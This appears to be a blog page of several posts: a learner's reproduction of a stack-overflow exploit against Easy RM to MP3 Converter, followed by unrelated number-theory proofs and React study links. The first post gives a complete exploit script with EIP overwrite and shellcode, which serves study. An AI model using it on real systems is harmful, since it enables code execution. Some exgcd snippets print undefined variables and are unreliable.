湖面

自己第一次学汇编是一年多以前了，逆向也搞过不少，但是 pwn 一直没尝试过。越狱 iPhone 时看了看那些漏洞的 POC 第一眼就觉得好高深啊，这起码得学完操作系统以后再说了。然而逆 iOS App 的时候学 arm 汇编看的这篇文章写了这段话：

Just think about the great tutorials on Intel x86 Exploit writing by Fuzzy Security or the Corelan Team – Guidelines like these help people interested in this specific area to get practical knowledge and the inspiration to learn beyond what is covered in those tutorials.

Well... Why not try it out? 于是就开始看。Fuzzy 的看上去有点晦涩，所以就跟着 Corelan 的走了。难易程度可以说还挺适合我。感觉 prerequisite 基本上就是学过 C 以及了解过汇编（反正遇到不会的查就得了），会某种脚本语言的话就更方便。

下面基本上记录一下我自己的复现过程。

首先准备环境。我的环境：

• en_windows_xp_professional_with_service_pack_3_x86_cd_vl_x14-73974 在 VMware 虚拟机里跑的。
• ImmunityDebugger_1_85_setup Immunity Debugger
• 707414955696c57b71c7f160c720bed5-EasyRMtoMP3Converter exploit-db 下载
• mona.py 右键另存为下载
• devcpp-4.9.9.2_setup SourceForge 下载（惊叹，这玩意真小啊）

第一步是简单验证一下漏洞，原文用 perl 写文件，因为装 Immunity Debugger 时自动装了 Python 2.7.1 所以我就直接写 Python 了。

1
2
3

f = open('crash.m3u', 'w')
f.write('A'*30000)
f.close()

装好 EasyRMtoMP3Converter 后导入发现直接崩溃。

然后第二步是写个小 demo 演示漏洞原理，代码

1
2
3
4
5
6
7
8
9
10

#include <string.h>

void vulnerable_func(char *buffer) {
     char canoverflow[128];
     strcpy(canoverflow, buffer);
}

int main(int argc, char **argv) {
     vulnerable_func(argv[1]);
}

用 Dev-C++ 自带 gcc 编译，注意加 -g 选项生成 debug symbols.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\>type main.c
#include <string.h>

void vulnerable_func(char *buffer) {
     char canoverflow[128];
     strcpy(canoverflow, buffer);
}

int main(int argc, char **argv) {
     vulnerable_func(argv[1]);
}

C:\>gcc main.c -g -o stacktest

编译完成后打开 Immunity Debugger 然后打开 exe 并且 arguments 随便填个 AAAAAA。进去以后单步调试观察函数调用和 strcpy 的作用。

这里正好学习一下 gdb 用法。我看的是官方手册 Debugging with GDB. 下面用 gdb 调试：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

C:\>gdb stacktest.exe
GNU gdb 5.2.1
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i686-pc-mingw32"...
(gdb) set args AAAAAAA
(gdb) set disassembly-flavor intel
(gdb) break main
Breakpoint 1 at 0x4012d5: file main.c, line 8.
(gdb) run
Starting program: C:\stacktest.exe AAAAAAA

Breakpoint 1, main (argc=2, argv=0x3e24f0) at main.c:8
8       int main(int argc, char **argv) {
(gdb) disassemble
Dump of assembler code for function main:
0x4012b0 <main>:        push   ebp
0x4012b1 <main+1>:      mov    ebp,esp
0x4012b3 <main+3>:      sub    esp,0x8
0x4012b6 <main+6>:      and    esp,0xfffffff0
0x4012b9 <main+9>:      mov    eax,0x0
0x4012be <main+14>:     add    eax,0xf
0x4012c1 <main+17>:     add    eax,0xf
0x4012c4 <main+20>:     shr    eax,0x4
0x4012c7 <main+23>:     shl    eax,0x4
0x4012ca <main+26>:     mov    DWORD PTR [ebp-4],eax
0x4012cd <main+29>:     mov    eax,DWORD PTR [ebp-4]
0x4012d0 <main+32>:     call   0x401730 <_alloca>
0x4012d5 <main+37>:     call   0x4013d0 <__main>
0x4012da <main+42>:     mov    eax,DWORD PTR [ebp+12]
0x4012dd <main+45>:     add    eax,0x4
0x4012e0 <main+48>:     mov    eax,DWORD PTR [eax]
0x4012e2 <main+50>:     mov    DWORD PTR [esp],eax
0x4012e5 <main+53>:     call   0x401290 <vulnerable_func>
0x4012ea <main+58>:     leave
0x4012eb <main+59>:     ret
End of assembler dump.

break main 会在 main 函数的 prologue 后下断点，也即 0x4012d5，所以重点观察的就是这几行：

1
2
3
4
5

0x4012da <main+42>:     mov    eax,DWORD PTR [ebp+12]
0x4012dd <main+45>:     add    eax,0x4
0x4012e0 <main+48>:     mov    eax,DWORD PTR [eax]
0x4012e2 <main+50>:     mov    DWORD PTR [esp],eax
0x4012e5 <main+53>:     call   0x401290 <vulnerable_func>

前面三行在取栈上 argv[1] 的值并放入 eax. 第 4 行将 eax 入栈。第 5 行将 eip 入栈保存 caller 地址然后跳转到 0x401290.

验证一下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

(gdb) break *main+50
Breakpoint 2 at 0x4012e2: file main.c, line 9.
(gdb) continue
Continuing.

Breakpoint 2, 0x004012e2 in main (argc=2, argv=0x3e24f0) at main.c:9
9            vulnerable_func(argv[1]);
(gdb) info registers eax
eax            0x3e248f 4072591
(gdb) x/s $eax
0x3e248f:        "AAAAAAA"
(gdb) stepi
0x004012e5      9            vulnerable_func(argv[1]);
(gdb) info frame
Stack level 0, frame at 0x22ff78:
 eip = 0x4012e5 in main (main.c:9); saved eip 0x4011e7
 source language c.
 Arglist at 0x22ff78, args: argc=2, argv=0x3e24f0
 Locals at 0x22ff78, Previous frame's sp is 0x0
 Saved registers:
  ebp at 0x22ff78, eip at 0x22ff7c
(gdb) x/4x $esp
0x22ff60:       0x003e248f      0x0022ec24      0x003e29f0      0x004012d5
(gdb) stepi
vulnerable_func (buffer=0x2 <Address 0x2 out of bounds>) at main.c:3
3       void vulnerable_func(char *buffer) {
(gdb) info frame
Stack level 0, frame at 0x22ff78:
 eip = 0x401290 in vulnerable_func (main.c:3); saved eip 0x4011e7
 source language c.
 Arglist at 0x22ff78, args: buffer=0x2 <Address 0x2 out of bounds>
 Locals at 0x22ff78, Previous frame's sp is 0x0
 Saved registers:
  ebp at 0x22ff78, eip at 0x22ff7c
(gdb) x/4x $esp
0x22ff5c:       0x004012ea      0x003e248f      0x0022ec24      0x003e29f0

现在来看看 strcpy 的影响，在 vulnerable_func 结尾下断点，观察栈：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

(gdb) disassemble
Dump of assembler code for function vulnerable_func:
0x401290 <vulnerable_func>:     push   ebp
0x401291 <vulnerable_func+1>:   mov    ebp,esp
0x401293 <vulnerable_func+3>:   sub    esp,0x98
0x401299 <vulnerable_func+9>:   mov    eax,DWORD PTR [ebp+8]
0x40129c <vulnerable_func+12>:  mov    DWORD PTR [esp+4],eax
0x4012a0 <vulnerable_func+16>:  lea    eax,[ebp-136]
0x4012a6 <vulnerable_func+22>:  mov    DWORD PTR [esp],eax
0x4012a9 <vulnerable_func+25>:  call   0x401820 <strcpy>
0x4012ae <vulnerable_func+30>:  leave
0x4012af <vulnerable_func+31>:  ret
End of assembler dump.
(gdb) break *0x4012ae
Breakpoint 3 at 0x4012ae: file main.c, line 6.
(gdb) continue
Continuing.

Breakpoint 3, vulnerable_func (buffer=0x3e248f "AAAAAAA") at main.c:6
6       }
(gdb) print &canoverflow
$1 = (char (*)[128]) 0x22fed0
(gdb) x/168b $esp
0x22fec0:       0xd0    0xfe    0x22    0x00    0x8f    0x24    0x3e    0x00
0x22fec8:       0x30    0x13    0x40    0x00    0x1c    0xec    0x22    0x00
0x22fed0:       0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x00
0x22fed8:       0xd0    0xfc    0x22    0x00    0xc0    0x01    0x91    0x7c
0x22fee0:       0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x22fee8:       0xc8    0xfe    0x22    0x00    0x41    0x41    0x41    0x41
0x22fef0:       0x2c    0xff    0x22    0x00    0x94    0x5c    0xc3    0x77
0x22fef8:       0x2e    0xa5    0xc3    0x77    0xe8    0x1a    0xc6    0x77
0x22ff00:       0x3c    0xff    0x22    0x00    0x60    0x9d    0xc3    0x77
0x22ff08:       0x08    0x00    0x00    0x00    0x2f    0x4e    0xc3    0x77
0x22ff10:       0x29    0x4e    0xc3    0x77    0x24    0xec    0x22    0x00
0x22ff18:       0x1c    0xec    0x22    0x00    0x00    0x00    0x00    0x00
0x22ff20:       0x30    0x13    0x40    0x00    0x14    0xff    0x22    0x00
0x22ff28:       0x88    0x20    0xc1    0x77    0xe0    0xff    0x22    0x00
0x22ff30:       0x94    0x5c    0xc3    0x77    0x50    0x28    0xc1    0x77
0x22ff38:       0xff    0xff    0xff    0xff    0x29    0x4e    0xc3    0x77
0x22ff40:       0x42    0x4e    0xc3    0x77    0x30    0x13    0x40    0x00
0x22ff48:       0x58    0xff    0x22    0x00    0x16    0x14    0x40    0x00
0x22ff50:       0x30    0x13    0x40    0x00    0x00    0x40    0x00    0x00
0x22ff58:       0x78    0xff    0x22    0x00    0xea    0x12    0x40    0x00
0x22ff60:       0x8f    0x24    0x3e    0x00    0x24    0xec    0x22    0x00

0x41 是 A 对应的 ASCII 码。可以发现 0x22fed0 - 0x22fed7 存了我们输入的参数。如果这个参数长度足够长且中间不包含 0x00，就能够覆盖后面的内存。最重要的是可以覆盖 0x22ff5c 中保存的 callee 的 eip，只要能把它修改成我们想要的值，就能让程序在指令 RET 执行时跳转到我们指定的地址。

这里有个小知识盲区，Immunity Debugger 里面显示 MOV DWORD PTR SS:[ESP],EAX 这个 SS 是啥意思？有的地方写的是 DS。于是搜了一通：What does "DS:40207A" mean in assembly? 然后又找了一下 What does dword ptr mean?

第三步是把 debugger 挂到要研究的程序上观察崩溃原因。直接打开程序然后 attach 即可。

后面要找 offset 我比较直接地在栈内存那个窗口找的字符串起点……然后减一下得到 offset. 但是很奇怪的是算的不是很准而且比正确的大 10000 左右。我找的是 0xFF730 - 0xF6E55 = 35035. 后面二分找了一下最后结果是 26059.

1
2
3

f = open('crash.m3u', 'w')
f.write('A'*26059+'B'*4+'XXXX'+'1ABCDEFGHIJKLMNOPQRSTUVWXYZ')
f.close()

后面跟着文章做了一次不成功的尝试，但是当时我其实 eip 覆盖的都是错的，因为没有写成小端……

1
2
3

f = open('crash.m3u', 'w')
f.write('A'*26059+'\x30\xf7\x0f\x00'+'\x90'*25+'\xcc'+'\x90'*25)
f.close()

第四步是从加载的 DLL 里找 jmp esp 这个指令，绕过地址中有 \x00 导致字符串中间有 terminator 的问题。我用的是 mona.py（继承了 pvefindaddr）简单看了一下文档，下载放入 PyCommands 然后 DLL 加载完成后在 Immunity Debugger 底部文本框输入

1

!mona find -type bin -s ffe4

查找出的结果在 C:\Program Files\Immunity Inc\Immunity Debugger\find.txt. 打开后搜索 MSRMCcodec02.dll 发现这行

1

0x01acb22a (b+0x0022b22a)  : ffe4 |  {PAGE_READWRITE} [MSRMCcodec02.dll] ASLR: False, Rebase: True, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll)

最后用了文中构造好的 shellcode 成功打开计算器

1
2
3
4
5
6
7
8
9
10
11
12
13
14

f = open('crash.m3u', 'w')
shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" + \
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" + \
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" + \
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" + \
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" + \
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" + \
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" + \
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" + \
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" + \
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" + \
"\x7f\xe8\x7b\xca"
f.write('A'*26059+'\x2a\xb2\xac\x01'+'\x90'*25+shellcode+'\x90'*25)
f.close()

后面发现不挂载 Immunity Debugger 时打开不起作用，应该是因为 attach 在加载 DLL 前。直接打开程序然后 attach，搜索得到如下结果

1

0x01afb22a (b+0x0022b22a)  : ffe4 |  {PAGE_READWRITE} [MSRMCcodec02.dll] ASLR: False, Rebase: True, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll)

所以改成

1
2
3
4
5
6
7
8
9
10
11
12
13
14

f = open('crash.m3u', 'w')
shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" + \
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" + \
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" + \
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" + \
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" + \
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" + \
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" + \
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" + \
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" + \
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" + \
"\x7f\xe8\x7b\xca"
f.write('A'*26059+'\x2a\xb2\xaf\x01'+'\x90'*25+shellcode+'\x90'*25)
f.close()

最后放张成果图。

简单起见，我们把两个整数 \(a\)，\(b\) 的最大公因数记为 \((a,b)\).

Euclidean algorithm

Theorem 1 若存在整数 \(k\) 使得 \(a=r+bk\)，则 \((a,b)=(b,r)\).

Proof. 由 \(r=a-bk\) 得：\(a\) 和 \(b\) 的公因数都是 \(r\) 的因数，也就是 \(b\) 和 \(r\) 的公因数。所以 \((a,b) \leq (b,r)\). 由 \(a=r+bk\) 同理可得 \((b,r) \leq (a,b)\). 因此，\((a,b)=(b,r)\). 证毕。

据此我们可以构造一个数列 \(r\)，令 \(r_{1}=a, r_{2}=b\)，并且

\[ r_{i}=r_{i-2} \bmod r_{i-1},\;\;\; 0\leq r_{i} < |r_{i-1}|. \]

不失一般性，我们假设 \(a \geq b \geq 0\)，那么 \(r\) 是单调递减的。所以数列最后一定会出现 \(0\)，但是 \(0\) 不能作为除数，所以我们规定数列在 \(0\) 截止，且 \(r_{n+1}=0\)（也即 \(0\) 的前一个数是数列末尾）。

现在要证明

\[ (r_{1}, r_{2})=(r_{2}, r_{3})=\cdots=(r_{n},r_{n+1})=r_{n}. \]

由数列的定义得

\[ r_{i-2}=r_{i}+r_{i-1}q_{i-1}. \]

其中 \(q_{i-1}\) 为带余除法 \(r_{i-2}/r_{i-1}\) 得到的商。应用上面提到的定理得 \((r_{i-1}, r_{i})=(r_{i-2}, r_{i-1})\). 若 \(i=n+1\)，则我们可以一路递推至 \(i=2\) 的情况，也即 \((a,b)\). 由于 \(r_{n+1}=0\)，任何数都是零的因数，所以 \((r_{n},r_{n+1})=r_{n}\). 证毕。

这也为我们提供了一种计算最大公因数的高效算法。

Bézout's Identity

Theorem 2 对于任意非零整数 \(a\),\(b\)，存在整数 \(x\) 和 \(y\) 使得

\[ (a,b)=ax+by. \]

特别地，当 \(a\) 与 \(b\) 互质时，存在整数 \(x\) 和 \(y\) 使得 \(ax+by=1\)

Proof. 使用数学归纳法证明。

下面证明

\[ \forall i \leq n,\,\exists x,y \in \mathbb{Z},\,(r_{i}, r_{i+1})=r_{i}x+r_{i+1}y. \]

初始条件：由 \(r_{n+1}=0\) 有

\[ (r_{n}, r_{n+1})=r_{n} \cdot 1 + r_{n+1} \cdot 0. \]

即 \(x=1,\ y=0\)（\(y\) 是不是只能为 \(0\)？）

递推：假设已存在 \(x,y \in \mathbb{Z}\) 使得 \((r_{i}, r_{i+1})=r_{i}x+r_{i+1}y\)，现在来证存在 \(x',y' \in \mathbb{Z}\) 使得 \((r_{i-1}, r_{i})=r_{i-1}x'+r_{i}y'\).

由数列的定义得

\[ r_{i-1}=r_{i+1}+r_{i}q_{i}. \]

也即

\[ r_{i+1}=r_{i-1}-r_{i}q_{i}. \]

代入递推假设得

\[ \begin{align*} (r_{i}, r_{i+1})&=r_{i}x+r_{i+1}y\\ &=r_{i}x+(r_{i-1}-r_{i}q_{i})y\\ &=r_{i-1}y+r_{i}(x-q_{i}y). \end{align*} \]

又由定理 1 得 \((r_{i}, r_{i+1})=(r_{i-1}, r_{i})\)（上面已经证明），所以

\[ (r_{i-1}, r_{i})=r_{i-1}y+r_{i}(x-q_{i}y). \]

且 \(y\) 和 \(x-q_{i}y\) 都为整数，所以 \(x'=y, y'=x-q_{i}y\). 递推证明完成。

结论：当 \(i=1\) 时我们得到存在整数 \(x,y\) 使得 \((r_{1}, r_{2})=r_{1}x+r_{2}y\) 即 \((a,b)=ax+by\). 证毕。

利用上面的递推过程我们得到了 extended Euclidean algorithm. 它可以计算出 \((a,b)=ax+by\) 的一组整数解。

下面是一个可能注释比上面的证明好理解得多的 Python 代码实现（？）。

1
2
3
4
5
6
7
8
9
10
11
12
13
14

def exgcd(a, b):
    if b == 0:
        return (1, 0)
    m, n = exgcd(b, a%b)
    # recursion invariant: b * m + (a%b) * n == gcd(b, a%b) == gcd(a, b)
    # let a = b * q + a%b
    # then b * m + (a - b * q) * n == gcd(a, b)
    # thus a * n + b * (m - n * q) == gcd(a, b)
    q = a // b
    return (n, m - n * q)


x, y = exgcd(10319, 2312)
print('x =', x, ', y =', y, ', gcd =', a*x+b*y)

Euclidean

Modular arithmetic is congruence, meaning that it is an equivalence relation that is compatible with the operations of addition, subtraction, and multiplication.

\[ \left. \begin{array}{ll} a\equiv b \pmod {n}\\ c\equiv d \pmod {n} \end{array} \right\} \implies a-c \equiv b-d \pmod {n} \]

The Euclidean algorithm just flows out:

\[ \left. \begin{array}{ll} a \equiv 0 \pmod {d}\\ b \equiv 0 \pmod {d} \end{array} \right\} \implies a-kb \equiv 0 \pmod {d} \]

For all \(d \in \mathbb{N}^+\), \(k \in \mathbb{Z}\), if \(d \mid a\) (\(d\) is a divisor of \(a\)), \(d \mid b\) (\(d\) is a divisor of \(b\)) and \(a \geq b\) then \(d \mid a-kb\). Thus we see that \(gcd(a,b)=gcd(b, a \bmod b)\).

To describe and proof the algorithm, we can define an array \(r\) such that \(r_0=a\) and \(r_1=b\), while

\[ r_{j}=r_{j-2} \bmod r_{j-1} \]

It basically means

\[ r_{j-2} = r_{j-1}q_{j-1} + r_{j} \]

where \(q_{j-1}= [r_{j-2} / r_{j-1}]\) stands for quotient. When hit \(r_{n-1} \bmod r_n = 0\), we stop. Thus \(r_{n+1}=0\).

Therefore

\[ \begin{gather*} gcd(r_j, r_{j+1})=gcd(r_{j+1}, r_{j+2})\\ r_n= gcd(r_n, 0) = \cdots = gcd(r_0, r_1) \end{gather*} \]

Let \(g=gcd(a,b)\), notice that

\[ \begin{align*} g=gcd(r_n,0) &= 1\times r_n + 0\times r_{n+1}=r_n\\ &=r_{n-2}-q_{n-1}r_{n-1}\\ &=r_{n-2}-q_{n-1}(r_{n-3}-r_{n-2}q_{n-2})\\ &=q_{n-1}r_{n-3}+(1+q_{n-2}q_{n-1})r_{n-2}\\ &=\cdots \end{align*} \]

We may wonder if there exists a linear combination such that \(g=ax+by\). In fact, this is what Bezout's theorem says.

Proof by induction.

Base case:

\[ g= 1\times r_n + 0\times r_{n+1} \]

Induction step:

Given that \(r_{j+1}=r_{j-1}-r_{j}q_{j}\)

\[ \begin{align*} g&=r_{j}x_{j}+r_{j+1}y_{j}\\ &=r_{j}x_{j}+(r_{j-1}-r_{j}q_{j})y_{j}\\ &=r_{j-1}y_{j}+r_{j}(x_{j}-q_{j}y_{j}) \end{align*} \]

So \(x_{j-1}=y_{j}, y_{j-1}=x_j-q_jy_j\).

Finally,

\[ g=r_0x_0+r_1y_0=ax_0+by_0 \]

This also provides us an algorithm to produce a linear combination.

1
2
3
4
5
6
7
8
9
10

def exgcd(a, b):
    if b == 0:
        return (1, 0)
    else:
        x, y = exgcd(b, a % b)
        return (y, x-(a//b)*y)


x, y = exgcd(10319, 2312)
print('x =', x, ', y =', y, ', gcd =', a*x+b*y)

References:

• The Euclidean Algorithm

Linear Congruences

Suppose you want to solve

\[ ax \equiv c \pmod b \]

and you need to find the minimum integer \(x\).

First we can translate it to a normal equation.

\[ ax \equiv c \pmod b \iff ax - c = by \]

本篇为交互式 Jupyter Notebook 文档，请在 这里 查看完整版。

由于叫 欧拉定理 的定理太多所以就用这个名字了。

在开始讲解之前，首先要问这么一个问题：

\(3^{2012} \bmod 17\)是多少？

看到取模，我们当然要先找找规律：

1
2

print([3**exponent%17 for exponent in range(1, 17)])
print([3**exponent%17 for exponent in range(17, 33)])

啊哈！3的幂对17取模，结果是循环的。

所以 \(2012 = 125 \cdot 16 + 12\)，\(3^{2012} \equiv 3^{12} \equiv 4 \pmod {17}\).

我们应该再仔细思考一下，为什么是以16个数为一循环？

因为一个数对17取模，得到的结果只可能在 \([0, 16]\) 这个区间上。而如果一个结果是0，那么其他结果全是0，所以只能在 \([1, 16]\) 上。

那无论底数是什么，都是16个数一循环吗？一定会形成循环吗？

首先来看后面这个问题，答案是会。因为一定会有重复，有重复就会出现循环。

\[ 3^{x} \equiv 3^{y} \pmod {17} \iff 3^{x+1} \equiv 3^{y+1} \pmod {17} \]

对于前一个问题，鉴于有重复就会出现循环，一个循环里面不可能有重复。总共只有16个数，根据鸽巢原理，循环的长度一定小于等于16. 问题也等价于：\([1, 16]\) 中的每一个数都会出现吗？

1

print([2**exponent%17 for exponent in range(1, 17)])

看来并不是。那么接下来怎么办呢？

我们不如换一种思路，看看有没有哪个数是一定会出现的。

1
2

for base in range(0, 17):
    print(base, [base**exponent%17 for exponent in range(1, 17)])

令人惊奇的是，每个数的第16次方对17取余，结果都是1. 也即

\[ a^{16} \equiv 1 \pmod {17} \]

联想到上面我们证明循环等价于重复的公式：

\[ a^{16} \equiv 1 \pmod {17} \iff a^{16+1} \equiv a \pmod {17} \]

我们如果可以证明上式右边成立，我们就能证明无论如何第1到第16个数都会形成循环了。

作为严谨证明的大纲，先演示对于一个特殊情况：\(a=3\)，模数为 7 的证明。

我们先看一个引理：如果我们有正整数 \(p\) 并且它不被另一个正整数 \(a\) 整除，我们可以写下这样的数列

\[ a, 2a, 3a, \cdots , (p-1)a \]

我们对这数列的每一项都对 \(p\) 取余，就能得到一个从 \(1\) 到 \(p-1\) 的全排列。也就是说，每个数都会出现一次。

1
2
3
4
5

a = 3
p = 7
print([a*i for i in range(1, p)])
print(perm := [a*i%p for i in range(1, p)])
print(set(perm))

在这之后，我们会把这两个数列分别乘起来。由于前者只是后者的 \(a\) 倍，所以它们模 \(p\) 同余。

\[ a \times 2a \times 3a \times \cdots \times (p-1)a \equiv 1 \times 2 \times 3 \times \cdots \times (p-1) \pmod p \]

化简得到

\[ a^{p-1}(p-1)! \equiv (p-1)! \pmod p \]

最后，我们会把两边的 \((p-1)!\) “消去”（我知道不能这么直接消，bear with me!）得到

\[ a^{p-1} \equiv 1 \pmod p \]

1
2
3
4
5
6
7
8
9

lhs = 1
for i in range(1, p):
    lhs *= a*i
rhs = 1
for i in range(1, p):
    rhs *= i
print(lhs, '===', rhs, '(mod ' + str(p) + ') is', lhs%7 == rhs%7)
print('Canceling out (p-1)! gives us:')
print(lhs//rhs, '=== 1 (mod ' + str(p) + ') is', (lhs/rhs)%7 == 1)

要完成这个证明，有两个地方需要我们详细说明：

• 引理：如果我们有正整数 \(p\) 并且它不被另一个正整数 \(a\) 整除，\(i\) 为正整数且 \(i \leq p-1\) 时，\(\{ia\bmod p\} = \{i\}\)
• 同余式两边何时能同时消去一个数

我们先看第二个：同余式除法，因为第一个依赖第二个证明。

上面我们已经用了同余式两边同时乘上同余的数，同余式仍然成立的性质。除此之外对于加减法也有效。但是对于除法，就没那么简单了。

首先把同余式写成等式。

\[ ac \equiv bc \pmod m \iff \exists k \in \mathbb{Z}, ac = bc + km \]

右式两边同时除以 \(c\) 得

\[ a = b + \frac{km}{c} \]

如果 \(c \nmid m\) 那么我们还需要换掉整数 \(k\) 以使模数为一个整数。

\[ \begin{aligned} k' &= \frac{k \cdot gcd(m, c)}{c} \\ a &= \frac{k'm}{gcd(m, c)} \end{aligned} \]

最后得到

\[ ac \equiv bc \pmod m \iff a \equiv b \ \left(\bmod \frac{m}{gcd(m, c)} \right) \]

如果我们希望前后模数相等，当且仅当 \(gcd(m, c) = 1\) 也即 \(m\) 与 \(c\) 互质才成立。

回到刚才的这个式子

\[ a^{p-1}(p-1)! \equiv (p-1)! \pmod p \]

要让两边消掉 \((p-1)!\) 又不改变模数，有且仅有 \((p-1)!\) 与 \(p\) 互质，这等价于 \(p\) 为一个质数。7 和 17 都满足这个要求。

现在再来看那个引理：如果有正整数 \(p\) 并且它不被另一个正整数 \(a\) 整除，\(i\) 为正整数且 \(i \leq p-1\) 时，\(\{ia\bmod p\} = \{i\}\).

首先，小于 \(p\) 的数 \(i\) 与 \(p\) 互质，而 \(a\) 也与 \(p\) 互质，所以这两个数乘起来仍然与 \(p\) 互质（欧几里得引理）。所以 \(ia \bmod p \in [1, p-1]\). 然后要证明这些数互不相等。运用反证法，假设有两个不相等的数 \(x,y < i\) 使得

\[ xa \equiv ya \pmod p \]

那么由上面推导的同余式除法得

\[ x \equiv y \pmod p \]

而 \(x<i, y<i\) 所以 \(x=y\) 与假设矛盾。证毕。

至此，证明全部完成。

由上面的推导，我们得到了费马小定理：

对于质数 \(p\) 以及任意正整数 \(a\) 满足 \(p \nmid a\) 有

\[ a^{p-1} \equiv 1 \pmod p \]

如果你足够细心，你也许会注意到我刚才说第二点的时候并没有提到 \(p\) 一定是个素数。这让我们不禁想推广刚才得到的成果。我们先来感性的认识一下，当 \(p\) 不是素数时是什么样的。因为 \(p\) 是 prime 的意思，所以下面换成合数的情况下我们用 \(m\) 来代替。

我们先来看看 \(m=10\) 的情形：

1
2
3
4
5
6
7
8

def extract_repeat(arr):
    for index, value in enumerate(arr[1:]):
        if arr[0] == value:
            return arr[0:index+1]

m = 10
for a in range (1, m):
    print('a =', a, arr := [a**exponent%m for exponent in range(1, m)], extract_repeat(arr))

注意到，当 \(a\) 与 \(m\) 有公因数的时候，循环不一定会出现 1. 这是为什么呢？任意整数 \(k\)，\(km+1\) 这时候都肯定跟 \(m\) 互质，因此 \(a^{x} \neq km+1\).

有没有整数 \(a,x\) 使得

\[ a^x \equiv 1 \pmod m \]

呢？要找到这个数，我们就得找到一个数列 \(T\)，使其满足我们上面的两点要求

• 对每个数乘以 \(a\) 再 \(\bmod \ m\) 得到的数列是 \(T\) 的全排列
• 把 \(T\) 中的数全乘起来，得到的数与 \(m\) 互质（可以从同余式两边消去）

在 \(m = p\) 的情况下，我们已经看到了 \(T=\{1,2,3,\cdots,p-1\}\). 现在考虑的是 \(m\) 不为质数的情况。

先看第一点。需要 \(T\) 中的数 \(t_i\) 都与 \(m\) 互质，\(a\) 与 \(m\) 互质，以及 \(t_ia \bmod m \in T \implies T\) 是比 \(m\) 小且与 \(m\) 互质的数的集合。

再看第二点，由 \(T\) 是与 \(m\) 互质的数的集合，\(T\) 中的数全乘起来，得到的数与 \(m\) 互质，满足条件。

下面开始外层证明。令 \(r\) 为 \(T\) 中所有数的乘积，即 \(r = \prod t_i\). \(\phi(m)\) 为 \(m\) 对应的数组 \(T\) 中的元素个数。

\[ \begin{aligned} at_1 \times at_2 \times \cdots \times at_n &\equiv t_1 \times t_2 \times \cdots \times t_n \pmod m \\ a^{\phi(m)} r &\equiv r \pmod m \\ a^{\phi(m)} &\equiv 1 \pmod m \end{aligned} \]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

import math
def phi(m):
    res = []
    for k in range(1, m+1):
        if math.gcd(k, m) == 1:
            res.append(k)
    return res

def prod(arr):
    res = 1
    for t in arr:
        res *= t
    return res
    
a = 3
m = 10
T = phi(m)
r = prod(T)

print(prod([a*t for t in T]), '===', r, '(mod ' + str(m) + ') is', prod([a*t for t in T])%m == r%m)
print(a**len(T)*r, '===', r, '(mod ' + str(m) + ') is', a**len(T)*r%m == r%m)
print(a**len(T) , '=== 1', '(mod ' + str(m) + ') is', a**len(T)%m == 1%m)

这就证明了欧拉定理（数论）：

\(m\) 和 \(a\) 是互质的正整数，\(\phi(m)\) 为小于等于 \(n\) 的正整数中与 \(n\) 互质的数的数目（欧拉函数），有

\[ a^{\phi(m)} \equiv 1 \pmod m \]

参考资料：

1. Euler’s Totient Theorem, Misha Lavrov[PDF]
2. Proofs of Fermat's little theorem, Wikipedia

最近一周简单学了下 React 和 JavaScript，把遇到的各种难点整理一下，附上我能找到的好文：

JavaScript

通用

• 现代 JavaScript 教程（The Modern JavaScript Tutorial）

理解 this 和函数调用

• Understanding JavaScript Function Invocation and "this"
